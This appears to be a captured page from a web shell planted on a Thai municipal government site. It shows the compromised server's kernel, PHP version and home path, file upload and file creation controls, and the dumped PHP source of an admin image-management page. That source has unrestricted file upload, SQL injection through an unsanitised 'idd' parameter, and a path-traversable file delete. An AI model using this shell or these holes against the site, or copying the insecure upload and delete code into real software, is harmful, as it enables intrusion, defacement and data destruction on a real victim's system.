Cylul007 Webshell
Uname
:
Linux ns7.thaihispeed.com 3.10.0-693.11.1.el7.x86_64 #1 SMP Mon Dec 4 23:52:40 UTC 2017 x86_64
PHP
:
5.3.29
on
apache2handler
Time
:
24 Nov 2024 20:23:31
Path :
/
home
/
tassabanlo
/
domains
/
lomsak.go.th
/
public_html
/
File Upload :
New File
New Folder
Current File : /home/tassabanlo/domains/lomsak.go.th/public_html/adv_am.php
Download
HOME
<? date_default_timezone_set('Asia/Bangkok'); include "checklogin.php"; include "connect.php"; include "dropdown menuadmin.php" ; include('database.php'); $db=new DatabaseManage; $mk=$db->selectAllData("ad_v","*","na_ad ORDER BY ad_v.na_ad DESC "); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>หน้าจัดการข้อมูลประกาศข่าวสาร</title> </head> <body> <table width="700" border="0" align="center" cellpadding="0" cellspacing="0" style="font-size: 14px;"> <tr> <td>ชื่อรูปภาพ</td> <td>ตัวอย่าง</td> <td>ลบ</td> </tr> <? foreach($mk as $oe){ ?> <tr> <td><?=$oe['na_ad'];?></td> <td><img src="images/adver/<?=$oe['na_ad'];?>" width="350" /></td> <td><form id="form2" name="form2" method="post" action="adv_am.php?idd=<?=$oe['id_ad'];?>&&pic=<?=$oe['na_ad'];?>"> <input type="submit" name="del" id="del" value="ลบ" /> </form></td> </tr><? } ?> </table><br /> <form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"> <table width="450" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td colspan="2" align="center">กรอกข้อมูล</td> </tr> <tr> <td>เลือกรูปป้ายประกาศ</td> <td><label for="pic"></label> <input type="file" name="pic" id="pic" /></td> </tr> <tr> <td colspan="2" align="center"><input type="submit" name="bt_s" id="button" value="บันทึก" /> <input type="reset" name="button2" id="button2" value="ยกเลิก" /></td> </tr> </table> </form> <? if($_POST['bt_s']=="บันทึก"){ $pick=$_FILES['pic']['name']; $pic=date("YmdHis").$pick; if($pick==""){ echo"<script>alert('กรุณาเลือกรูปภาพก่อนครับ');window.location.replace('adv_am.php');</script>"; }else{ move_uploaded_file($_FILES['pic']['tmp_name'],"images/adver/".$pic); $inp=$db->insertData("ad_v","na_ad","'$pic'"); echo"<script>window.location.replace('adv_am.php');</script>"; }} ?> <? if($_POST['del']=="ลบ"){ $idd=$_GET['idd']; $img=$_GET['pic']; unlink("pic/".$img); $fd=$db->deleteData("ad_v","id_ad='$idd'"); echo"<script>alert('ทำการลบสำเร็จ');window.location.replace('adv_am.php');</script>"; } ?> <p> <center><a href="homeadmin.php"><img src="images/bk.png" width="150"/></a></center> </p> </body> </html>
Copyright © 2018 - Powered By CytoXploit